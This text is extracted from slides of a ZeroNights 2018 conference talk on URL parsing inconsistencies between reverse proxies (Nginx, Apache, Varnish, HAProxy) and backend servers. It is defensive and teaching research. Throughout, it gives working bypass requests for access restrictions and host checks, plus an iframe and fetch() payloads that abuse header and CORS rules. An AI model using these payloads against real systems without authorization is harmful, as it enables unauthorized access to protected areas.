# Server side attacks

We can send it:

```
GET //test/./%2e%2e%2f<>.JpG?a1=""&z#/admin/ HTTP/1.1  
Host: victim.com
```

ZERO  
NIGHTS  
2018

# Client side attacks

```

```

```
GET //..%2f%3C%3E.jpg?a1=%22&?z HTTP/1.1  
Host: victim.com
```

- Browser parses, decodes and normalizes.
- Differences between browsers
- **Doesn't normalize %2f (/..%2f -> /..%2f)**
- <> " ' - urlencoded
- Multiple ? in query

ZERO  
NIGHTS  
2018

# Possible attacks

## Server-side attacks:

- Bypassing restriction (403 for /app/)
- Misrouting/Access to other places (/app/..;/another/path/)

## Client-side attacks:

- Misusing features (cache)
- Misusing headers modification

# XSS?

- Browser sends:  
`http://victim.com/path/%3D%22xss_here%22%3E/`
- Nginx (reverse proxy) sends to Origin server:  
`http://victim.com/path/<"xss_here">/`

ZERO  
NIGHTS  
2018

# Nginx as rev proxy. C2

- Configuration 2. Without trailing slash  
location / {  
    proxy\_pass http://origin\_server;  
}
- urldecodes/normalizes/applies,
- but sends unprocessed

ZERO  
NIGHTS  
2018

# Nginx + Weblogic

- # is an ordinary symbol for Weblogic

Block URL: location /Login.jsp

GET **/#/../Login.jsp** HTTP/1.1

Nginx: / (after parsing), but sends **/#/../Login.jsp**

Weblogic: /Login.jsp (after normalization)

ZERO  
NIGHTS  
2018

2<sup>3</sup>  
EDITION

# Nginx + Weblogic

- Weblogic knows about path-parameters (;)
- there is no path after (;) (unlike Tomcat's /path;/../path2)

```
location /to_app {  
    proxy_pass http://weblogic;  
}
```

**/any\_path;/../to\_app**

Nginx: /to\_app (normalization), but sends /any\_path;/../to\_app

Weblogic: /any\_path (after parsing)

ZERO  
NIGHTS  
2018

# Nginx. Wrong config

- Location is interpreted as a prefix match
- Path after location concatenates with proxy\_pass
- Similar to alias trick

```
location /to_app {  
    proxy_pass http://server/app/;  
}
```

**/to\_app../other\_path**

Nginx: /to\_app../

Origin: /app../other\_path

ZERO  
NIGHTS  
2018

# Apache

- urldecodes/normalizes/applies
- doesn't know path-params /path;/
- Location - case-sensitive
- %, # - 400
- %2f - 404 (AllowEncodedSlashes Off)
- ///path/ -> /path/, but /path1//../path2 -> /path1/path2
- /path/.. -> /
- resends processed

ZERO  
NIGHTS  
2018

# Apache as rev proxy. C1

- Configurations:  
ProxyPass /path/ http://origin\_server/  
  
<Location /path/>  
    ProxyPass http://origin\_server/  
</Location>
- resends processed
- urlencodes path again
  - doesn't encode '

ZERO  
NIGHTS  
2018

# Apache and //

- <Location "/path"> and ProxyPass /path includes:
  - /path, /path/, /path/anything
  - //path////anything

ZERO  
NIGHTS  
2018

# Apache and rewrite

RewriteEngine On

```
RewriteRule /lala/(path) http://origin_server/$1 [P,L]
```

- resends processed
- something is broken
  - %3f -> ?
  - /%2e%2e -> /.. (without normalization)

ZERO  
NIGHTS  
2018

# Apache and rewrite

```
RewriteCond %{REQUEST_URI} ^/protected/area [NC]  
RewriteRule ^.*$ - [F,L]
```

No access?

Bypasses:

```
/aaa/./protected/area -> //protected/area
```

```
/protected//./area -> /protected//area
```

```
/Protected/Area -> /Protected/Area
```

```
The same for <LocationMatch "^/protected/">
```

ZERO  
NIGHTS  
2018

# Apache and rewrite

RewriteEngine On

```
RewriteCond "%{REQUEST_URI}" ".*\.gif$"
```

```
RewriteRule "/(.*)" "http://origin/$1" [P,L]
```

Proxy only gif?

**/admin.php%3F.gif**

Apache: /admin.php%3F.gif

After Apache: /admin.php?.gif

ZERO  
NIGHTS  
2018

# Nginx + Apache

```
location /protected/ {  
    deny all;  
    return 403;  
}  
+ proxy_pass http://apache
```

(no trailing slash)

```
/protected//../  
Nginx: /  
Apache: /protected/
```

# Varnish

- no preprocessing (parsing, urldecoding, normalization)
- resends unprocessed request
- allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1
- req.url is unparsed path+query
- case-sensitive

ZERO  
NIGHTS  
2018

# Varnish

Misrouting:

```
if (req.http.host == "sport.example.com") {  
    set req.http.host = "example.com";  
    set req.url = "/sport" + req.url;  
}
```

Bypass:

```
GET ../admin/ HTTP/1.1  
Host: sport.example.com
```

ZERO  
NIGHTS  
2018

# Varnish

```
if(req.method == "POST" || req.url ~ "^/wp-login.php" ||  
req.url ~ "^/wp-admin") {  
    return(synth(503));  
}
```

No access??

**PoST /wp-login%2ephp HTTP/1.1**

Apache+PHP: PoST == POST

ZERO  
NIGHTS  
2018

2<sup>3</sup>  
EDITION

# Haproxy/nuster

- no preprocessing (parsing, urldecoding, normalization)
- resends unprocessed request
- allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1
- path\_\* is path (everything before ? )
- case-sensitive

ZERO  
NIGHTS  
2018

# Haproxy/nuster

```
acl restricted_page path_beg /admin  
block if restricted_page !network_allowed
```

path\_beg includes /admin\*

No access?

Bypasses:  
**/%61dmin**

ZERO  
NIGHTS  
2018

# Haproxy/nuster

```
acl restricted_page path_beg,url_dec /admin  
block if restricted_page !network_allowed
```

```
url_dec urldecodes path  
No access?
```

```
url_dec spoils path_beg  
path_beg includes only /admin
```

Bypass: **/admin/**

ZERO  
NIGHTS  
2018

# Varnish or Haproxy

Host check bypass:

```
if (req.http.host == "safe.example.com" ) {  
    set req.backend_hint = foo;  
}
```

Only "safe.example.com" value?

Bypass using (malformed) Absolute-URI:

**GET httpcoco://unsafe-value/path/ HTTP/1.1**

**Host: safe.example.com**

ZERO  
NIGHTS  
2018

# Varnish

**GET httpcoco://unsafe-value/path/ HTTP/1.1**  
**Host: safe.example.com**

Varnish: safe.example.com, resends whole request  
Web-server(Nginx, Apache, ...): unsafe-value

- Most web-server supports and parses Absolute-URI
- Absolute-URI has higher priority than Host header
- Varnish understands only http:// as Absolute-URI
- Any text in scheme (Nginx, Apache) treated as Absolute-URI

ZERO  
NIGHTS  
2018

# Client Side attacks

If proxy changes response/uses features for specific paths, an attacker can misuse it due to inconsistency of parsing of web-server and reverse proxy server.

ZERO  
NIGHTS  
2018

2<sup>3</sup>  
EDITION

# Misusing headers modification

```
location /iframe_safe/ {  
    proxy_pass http://origin/iframe_safe/;  
    proxy_hide_header "X-Frame-Options";  
}  
location / {  
    proxy_pass http://origin/;  
}
```

- only /iframe\_safe/ path is allowed to be framed
- Tomcat sets X-Frame-Options deny automatically

ZERO  
NIGHTS  
2018

# Misusing headers modification

Nginx + Tomcat:

```
<iframe src="http://victim/iframe_safe/../../any_other_path">
```

Browser: [http://victim/iframe\\_safe/../../any\\_other\\_path](http://victim/iframe_safe/../../any_other_path)

Nginx: [http://victim/iframe\\_safe/../../any\\_other\\_path](http://victim/iframe_safe/../../any_other_path)

Tomcat: [http://victim/any\\_other\\_path](http://victim/any_other_path)

ZERO  
NIGHTS  
2018

2<sup>3</sup>  
EDITION

# Misusing headers modification

```
location /api_cors/ {
    proxy_pass http://origin;
    if ($request_method ~* "(OPTIONS|GET|POST)") {
        add_header Access-Control-Allow-Origin $http_origin;
        add_header "Access-Control-Allow-Credentials" "true";
        add_header "Access-Control-Allow-Methods" "GET, POST";
    }
}
```

- Quite insecure, but
- if `http://origin/api_cors/` requires token for interaction

ZERO  
NIGHTS  
2018

2<sup>3</sup>  
EDITION

# Misusing headers modification

Attacker's site:

```
fetch("http://victim.com/api_cors%2f%2e%2e" ...
```

```
fetch("http://victim.com/any_path;/../api_cors/" ...
```

```
fetch("http://victim.com/api_cors/..;/any_path" ...
```

...

Nginx: /api\_cors/

Origin: something else (depending on implementation)
